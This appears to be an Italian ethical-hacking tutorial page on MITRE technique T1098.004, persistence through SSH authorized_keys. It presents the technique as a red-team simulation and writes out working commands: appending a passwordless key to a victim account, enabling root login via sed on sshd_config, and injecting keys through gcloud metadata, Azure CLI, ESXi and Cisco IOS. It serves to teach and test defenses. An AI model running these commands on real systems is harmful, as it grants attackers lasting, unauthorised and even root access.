Chiavi SSH Non Autorizzate: Account Maintenance - SSH Authorized Keys (T1098.004)

La modifica del file authorized_keys rappresenta una tecnica di persistenza elegante che sfrutta il meccanismo di autenticazione SSH basato su chiavi pubbliche. Gli attaccanti inseriscono la propria chiave pubblica nel file, tipicamente posizionato in ~/.ssh/authorized_keys, garantendosi accesso permanente al sistema senza necessità di password.

Questa tecnica si manifesta in due fasi distinte della kill chain: TA0003 (Persistence) dove garantisce l'accesso continuativo anche dopo riavvii o cambi password, e TA0004 (Privilege Escalation) quando l'attaccante aggiunge chiavi ad account privilegiati. Negli ambienti ESXi il percorso diventa /etc/ssh/keys-<username>/authorized_keys, mentre in cloud l'operazione può avvenire tramite API.

Tre gruppi APT hanno documentato l'utilizzo di questa tecnica, con pattern operativi che spaziano dalla semplice aggiunta di chiavi RSA all'abuso delle API cloud per modificare metadati delle VM.

Il test più basilare consiste nel generare una coppia di chiavi e aggiungerla all'account target. Su Linux, genera la chiave con:

ssh-keygen -t rsa -b 4096 -f ./persistence_key -N ""

Poi inietta la chiave pubblica nell'account vittima usando vari metodi. Il più diretto è: cat persistence_key.pub >> /home/victim/.ssh/authorized_keys

Per simulare comportamenti APT più sofisticati, modifica prima la configurazione SSH per garantire che l'autenticazione con chiave sia abilitata: sed -i 's/#PubkeyAuthentication./PubkeyAuthentication yes/' /etc/ssh/sshd_config* sed -i 's/#PermitRootLogin./PermitRootLogin yes/' /etc/ssh/sshd_config* systemctl restart sshd

In ambienti cloud, l'approccio cambia radicalmente. Su Google Cloud, usa il comando CLI per aggiungere chiavi a livello di progetto: gcloud compute project-info add-metadata --metadata-from-file ssh-keys=./malicious_keys.txt

Il file deve contenere il formato username:ssh-rsa AAAAB3.... Questo bypassa completamente il filesystem locale.

Per Azure, l'attacco richiede una richiesta PATCH all'API REST. Prima ottieni il token di accesso, poi esegui: az vm user update --resource-group TestRG --name TestVM --username azureuser --ssh-key-value "$(cat persistence_key.pub)"

Su ESXi, dopo aver abilitato la shell SSH, il percorso è diverso: mkdir -p /etc/ssh/keys-root/ echo "ssh-rsa AAAAB3..." >> /etc/ssh/keys-root/authorized_keys

I tool come XCSSET automatizzano questo processo generando chiavi al volo se non esistono. Simula questo comportamento con uno script che verifica la presenza di chiavi esistenti prima di generarne di nuove.

Per network device, il comando varia per vendor. Su Cisco IOS: ip ssh pubkey-chain username admin key-string [incolla la chiave pubblica riga per riga] exit

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo

We use cookies

Utilizziamo i cookie sul nostro sito Web. Alcuni di essi sono essenziali per il funzionamento del sito, mentre altri ci aiutano a migliorare questo sito e l'esperienza dell'utente (cookie di tracciamento). Puoi decidere tu stesso se consentire o meno i cookie. Ti preghiamo di notare che se li rifiuti, potresti non essere in grado di utilizzare tutte le funzionalità del sito.